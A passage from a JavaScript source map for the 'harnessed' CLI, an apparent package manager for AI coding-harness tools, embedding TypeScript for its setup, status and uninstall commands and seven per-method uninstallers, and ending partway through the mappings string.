console.log(` [B] skipped ${n}`)\n for (const n of b.failed) console.error(` [B] failed ${n}`)\n\n console.log(\n t('setup.complete', {\n skills: skillsInstalled,\n manifests: b.installed.length + b.alreadyInstalled.length,\n }),\n )\n if (b.alreadyInstalled.length > 0 || b.installed.length > 0) {\n console.log(t('setup.mcp_hint'))\n }\n\n // ── Phase v2.0-2.3 W1.1: Pure bundled distribution highlight (D-01) ───\n // workflows live in <packageRoot>/workflows/ — share-only readonly,\n // NOT user-dir override (~/.harnessed/ NOT used per D-01 LOCKED).\n console.log(t('setup.bundled_summary'))\n console.log(t('setup.bundled_location'))\n // v3.8.0 P3 — advisory doctor hint (NO auto-invoke to avoid CLI subprocess\n // complexity + scope creep; user opts in by running `harnessed doctor`).\n console.log(t('setup.doctor_hint'))\n\n // v3.9.0 P4 — auto-install missing third-party plugins (default opt-in,\n // confirm prompt per plugin). Skips on --non-interactive, --no-auto-install,\n // dry-run path (no side effects per Phase 1 dry-run contract), or non-TTY\n // stdin (CI / piped invocation — can't prompt anyway, fall back to advisory).\n if (!dryRun) {\n const isTty = process.stdin.isTTY === true && process.stdout.isTTY === true\n const { runAutoInstall } = await import('./lib/auto-install.js')\n await runAutoInstall({\n nonInteractive: raw.nonInteractive === true || !isTty,\n autoInstall: raw.autoInstall !== false, // commander default = true; --no-auto-install flips\n })\n }\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads <harnessed-root>/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads <harnessed-root>/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n// v3.0.3 — paths routed through harnessedRoot SoT (homedir-rooted).\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { t } from '../i18n/index.js'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { readState } from '../installers/lib/state.js'\n\nexport function registerStatus(program: Command): void {\n program\n .command('status')\n .description('Show installed upstreams (from <harnessed-root>/state.json)')\n .action(async () => {\n const state = await readState(process.cwd())\n const names = Object.keys(state.installed).sort()\n if (names.length === 0) {\n console.log(t('status.no_installs', { path: harnessedFile('state.json') }))\n } else {\n for (const n of names) {\n const e = state.installed[n]\n if (!e) continue\n console.log(`${n} @ ${e.version} (installed ${e.installedAt})`)\n }\n console.log(t('status.summary_installs', { count: names.length }))\n }\n\n // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n // proper-lockfile.check() returns true when lock is currently held\n const lockPath = harnessedFile('.lock')\n try {\n const isLocked = await lockfile.check(getHarnessedRoot(), {\n lockfilePath: lockPath,\n stale: 10_000,\n })\n if (isLocked) {\n const s = await stat(lockPath)\n const ageMs = Date.now() - s.mtime.getTime()\n const stale = ageMs > 10_000\n console.log(\n t('status.lock_held', {\n since: s.mtime.toISOString(),\n staleSuffix: stale ? t('status.lock_held.stale_suffix') : '',\n }),\n )\n console.log(t('status.lock_release_hint', { path: lockPath }))\n } else {\n console.log(t('status.lock_free'))\n }\n } catch {\n // harnessed root absent or inaccessible = no lock; silent per D-07\n }\n })\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed uninstall <name>` executes immediately by default (sister install.ts\n// pattern verbatim). Interactive p.confirm() 仍 protect destructive op (user\n// 必须显式 y/yes 才真正删除)。`--dry-run` flag opt-in 高级用户预览。`--yes` skip\n// interactive confirm 仍 require user 显式 opt-in (CI / scripts)。\n//\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。Migration: `harnessed uninstall foo --apply --yes` → `harnessed uninstall foo --yes`。\n//\n// IMPL NOTE (D-07 NO --keep-backup): RawOpts explicitly omits keepBackup.\n//\n// Exit code mapping (ADR 0004 contract 6):\n// 0 → uninstall succeeded (ok: true or ephemeral no-op)\n// 1 → uninstall failed (ok: false)\n// 2 → user-aborted / flag-missing / dry-run preview\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n dryRun?: boolean\n yes?: boolean\n nonInteractive?: boolean\n}\n\nexport function registerUninstall(program: Command): void {\n program\n .command('uninstall <name>')\n .description('Uninstall an upstream (immediate by default — use --dry-run for preview)')\n .option('--dry-run', 'preview only — do not delete files (opt-in for advanced users)')\n .option('--yes', 'skip interactive confirm (CI / scripts) — fatal with --dry-run')\n .option('--non-interactive', 'alias for --yes (CI compat)')\n .action(async (name: string, raw: RawOpts) => {\n // v3.0.1 UX flip — apply-immediate default。dryRun=true → preview only。\n // dryRun=false → immediate execute。`--yes` 仍可 skip interactive\n // confirm prompt (用户显式 opt-in CI / scripts)。\n // H1 gate: --yes + --dry-run 互斥 (dry-run 不 mutate, --yes 无意义)。\n const yes = raw.yes === true || raw.nonInteractive === true\n if (yes && raw.dryRun) {\n console.error(\n `${t('uninstall.yes_dryrun_conflict')}\\n${t('uninstall.yes_dryrun_conflict.fix', { name })}`,\n )\n process.exit(2)\n }\n\n // Alias resolution (sister install.ts pattern).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n // Manifest lookup (tools/ first, skill-packs/ fallback).\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `${t('install.manifest_not_found', { name: resolvedName })}\\n${t('install.manifest_not_found.fix', { name: resolvedName })}`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n process.exit(1)\n }\n\n const method = v.manifest.spec.install.method\n // v3.0.1 UX flip — dry-run is opt-in only (raw.dryRun === true)。\n // apply-immediate by default。\n const dryRun = raw.dryRun === true\n\n // Dry-run preview path (opt-in --dry-run only).\n if (dryRun) {\n console.log(t('uninstall.dry_run.preview', { name: resolvedName, method }))\n console.log(t('uninstall.dry_run.run_hint'))\n process.exit(2)\n }\n\n // Interactive confirm protects destructive op (skip only with --yes).\n if (!yes) {\n const answer = await p.confirm({\n message: t('uninstall.confirm.prompt', { name: resolvedName }),\n initialValue: false,\n })\n if (p.isCancel(answer) || answer === false) {\n console.error(t('uninstall.cancelled'))\n process.exit(2)\n }\n }\n\n const opts = { apply: true, dryRun: false, yes }\n const result = await runUninstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(t('install.aborted', { reason: result.reason }))\n process.exit(2)\n }\n if (result.ok) {\n console.log(t('uninstall.completed', { name: resolvedName }))\n process.exit(0)\n }\n console.error(`error: ${result.error}`)\n process.exit(1)\n })\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n// if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let existing: string\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n // File absent — hook can't be present, idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n let settings: Settings\n try {\n settings = JSON.parse(existing) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n }\n }\n\n const ev = install.hook_event\n const cmd = install.hook_command\n const matcher = install.hook_matcher\n\n if (!settings.hooks?.[ev]) {\n // Hook event block absent — idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n const before = settings.hooks[ev].length\n settings.hooks[ev] = settings.hooks[ev].filter(\n (h) => !(h.command === cmd && h.matcher === matcher),\n )\n\n // Clean up empty hook event array.\n if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n // No change — hook was not present, idempotent noop.\n }\n\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n await writeFile(settingsPath, newText)\n\n return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return null\n const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const pluginAtMkt = extractPluginAtMkt(install.cmd)\n if (!pluginAtMkt) {\n return {\n ok: false,\n phase: 'preflight',\n error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n const name = ctx.manifest.metadata.name\n console.warn(\n `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n )\n return { ok: true, removedPaths: [] }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n const isWin = process.platform === 'win32'\n const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 30_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n\n if (result.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName inline — sister src/installers/npxSkillInstaller.ts L47-54 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/npxSkillInstaller.ts extractSkillName — refactor to shared lib if 3rd caller appears.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const skillName = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillName)\n\n await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n 'npm-cli': uninstallNpmCli,\n 'mcp-stdio-add': uninstallMcpStdioAdd,\n 'mcp-http-add': uninstallMcpHttpAdd,\n 'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n 'git-clone-with-setup': uninstallGitCloneWithSetup,\n 'npx-skill-installer': uninstallNpxSkillInstaller,\n 'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n manifest: Manifest,\n opts: UninstallOpts,\n): Promise<UninstallResult> {\n const uninstaller = uninstallers[manifest.spec.install.method]\n return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerExecuteTask } from './cli/execute-task.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerRun } from './cli/run.js'\nimport { registerSetup } from './cli/setup.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\nimport { setLocale } from './i18n/index.js'\nimport { migrateLegacyHarnessedRoot } from './installers/lib/harnessedRoot.js'\n\n// v3.0.3 — migrate any pre-v3.0.3 `~/.harnessed/` to `~/.claude/harnessed/`\n// before any subcommand runs. Idempotent on subsequent invocations.\nmigrateLegacyHarnessedRoot()\n\n// v3.4.0 — pre-parse `--lang` flag so subcommand action handlers see the\n// correct locale before they emit any t()-wrapped strings. Commander parses\n// global flags eagerly via `program.parse`, but the lazy detect inside\n// `getLocale()` would otherwise resolve to env/Intl on first t() call before\n// the flag handler ran. Scanning argv here mirrors gnu getopt convention.\nconst argv = process.argv\nfor (let i = 2; i < argv.length; i++) {\n const a = argv[i]\n if (a === '--lang' && i + 1 < argv.length) {\n setLocale(argv[i + 1])\n break\n }\n if (a?.startsWith('--lang=')) {\n setLocale(a.slice('--lang='.length))\n break\n }\n}\n\nconst program = new Command()\n\nprogram\n .name('harnessed')\n .description('AI coding harness package manager + composition orchestrator')\n .version(pkg.version)\n .option('--lang <code>', 'output language: en | zh (auto-detect from $LANG / Intl if absent)')\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (execute-task added in phase 2.2 — B-28 独立子命令;\n// manifest-add added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n// resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterExecuteTask(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\nregisterSetup(program) // v1.0.1 T1.5 — 15th subcommand (one-time onboarding workflows/*/SKILL.md → ~/.claude/skills/)\nregisterRun(program) // v3.4.4 T1 — 16th subcommand (α CLI wire; replaces dead SlashCommand vapor in commands/<x>.md)\n\nprogram.parse(process.argv)\n"]}
1
+ {"version":3,"sources":["../src/cli/lib/origin-check.ts","../src/installers/lib/harnessedRoot.ts","../src/cli/lib/check-builtin.ts","../src/cli/lib/probe-gstack.ts","../src/manifest/lib/path-guard.ts","../src/types/schemaVersion.ts","../src/manifest/schema/aliases.v1.ts","../src/manifest/aliases.ts","../src/cli/lib/check-deprecations.ts","../src/checkpoint/schema/checkpoint.v1.ts","../src/checkpoint/schema/currentWorkflow.v1.ts","../src/checkpoint/schema/index.ts","../src/checkpoint/template.ts","../src/cli/lib/check-token-budget.ts","../src/cli/lib/checkAgentTeams.ts","../src/cli/lib/check-agent-teams-doctor.ts","../src/cli/lib/check-planning-with-files.ts","../src/cli/lib/check-mattpocock-skills.ts","../src/cli/lib/check-mcp-availability.ts","../src/cli/lib/doctor-registry.ts","../src/checkpoint/state.ts","../src/manifest/schema/known-good.v1.ts","../src/manifest/knownGood.ts","../src/checkpoint/resume.ts","../src/cli/lib/auto-install.ts","../package.json","../src/manifest/errors.ts","../src/manifest/schema/metadata.ts","../src/manifest/schema/installMethods/ccHookAdd.ts","../src/manifest/schema/installMethods/ccPluginMarketplace.ts","../src/manifest/schema/installMethods/gitCloneWithSetup.ts","../src/manifest/schema/installMethods/mcpHttpAdd.ts","../src/manifest/schema/installMethods/mcpStdioAdd.ts","../src/manifest/schema/installMethods/npmCli.ts","../src/manifest/schema/installMethods/npxSkillInstaller.ts","../src/manifest/schema/installMethods/index.ts","../src/manifest/schema/spec.ts","../src/manifest/schema/index.ts","../src/manifest/security.ts","../src/manifest/validate.ts","../src/cli/lib/audit-helpers.ts","../src/cli/audit.ts","../src/i18n/index.ts","../src/cli/audit-log.ts","../src/installers/lib/backup.ts","../src/cli/backup-list.ts","../src/cli/doctor.ts","../src/workflow/schema/discipline.ts","../src/workflow/disciplineLoader.ts","../src/discipline/enforcement/before-commit.ts","../src/checkpoint/engineHook.ts","../src/workflow/run.ts","../src/cli/lib/generateCommands.ts","../src/discipline/enforcement/after-output.ts","../src/discipline/enforcement/before-phase-execute.ts","../src/discipline/enforcement/before-spawn.ts","../src/workflow/governance.ts","../src/workflow/schema/governance.ts","../src/workflow/exprBuilder.ts","../src/workflow/schema/judgment.ts","../src/workflow/judgmentResolver.ts","../src/workflow/lib/promiseExtract.ts","../src/workflow/lib/fallbackHandlers.ts","../src/workflow/lib/ralphLoop.ts","../src/workflow/lib/completionSchema.ts","../src/workflow/lib/sdkReconcile.ts","../src/workflow/lib/sdkSpawn.ts","../src/workflow/interpolate.ts","../src/workflow/schema/phases.ts","../src/workflow/schema/workflow.ts","../src/workflow/schema/workflow.v2.ts","../src/workflow/loadPhases.ts","../src/workflow/masterOrchestrator-helpers.ts","../src/workflow/masterOrchestrator.ts","../src/cli/lib/packagePath.ts","../src/cli/lib/extract-user-overrides.ts","../src/cli/run.ts","../src/cli/execute-task.ts","../src/cli/gc.ts","../src/installers/lib/confirm.ts","../src/installers/lib/diff.ts","../src/installers/lib/err.ts","../src/installers/lib/preflight.ts","../src/installers/lib/state.ts","../src/installers/ccHookAdd.ts","../src/installers/lib/readClaudeConfig.ts","../src/installers/lib/runClaudeArgs.ts","../src/installers/lib/safeCwd.ts","../src/installers/ccPluginMarketplace.ts","../src/installers/lib/spawn.ts","../src/installers/gitCloneWithSetup.ts","../src/installers/mcpHttpAdd.ts","../src/installers/mcpStdioAdd.ts","../src/installers/npmCli.ts","../src/installers/npxSkillInstaller.ts","../src/installers/index.ts","../src/cli/install.ts","../src/cli/install-base.ts","../src/cli/manifest-add.ts","../src/cli/research.ts","../src/cli/resume.ts","../src/cli/rollback.ts","../src/cli/lib/capabilityResolver.ts","../src/cli/lib/enableAgentTeamsInSettings.ts","../src/cli/lib/enableUserLangInSettings.ts","../src/cli/lib/renderSkillTemplates.ts","../src/cli/lib/setup-helpers.ts","../src/cli/lib/scan-nested.ts","../src/cli/setup.ts","../src/cli/status.ts","../src/cli/uninstall.ts","../src/uninstallers/lib/runOrPreview.ts","../src/uninstallers/ccHookAdd.ts","../src/uninstallers/ccPluginMarketplace.ts","../src/uninstallers/gitCloneWithSetup.ts","../src/uninstallers/mcpHttpAdd.ts","../src/uninstallers/mcpStdioAdd.ts","../src/uninstallers/npmCli.ts","../src/uninstallers/npxSkillInstaller.ts","../src/uninstallers/index.ts","../src/cli.ts"],"names":["join","homedir","readFile","spawnSync","Type","existsSync","readFileSync","Value","mkdirSync","dirname","t","resolve","readdir","REMEDIATION","INSTALL_COMMANDS","settingsPath","checkOrigin","probeGstackPrefix","mkdir","writeFile","_cache","parse","p3","err","GIT_REF_PATTERN","p","program","backup","basename","parseYaml","fileExists","nodeReadFileSync","spawn","ModelTier","OnAction","readline","pathResolve","fileURLToPath","stat","PACKAGE_ROOT","WORKFLOWS_DIR","execSync","ans","statePath","stdout","p2","resolveAlias","getPinnedVersion","writeFileSync","runResume","createHash","readdirSync","rename","safeIntlLocale","createFreshSettings","backupOriginal","atomicWrite","PHASE_21","listBaseManifests","runAutoInstall","lockfile","extractCloneTarget","rm","extractSkillName","p4"],"mappings":";;;;;;;;;;;;;;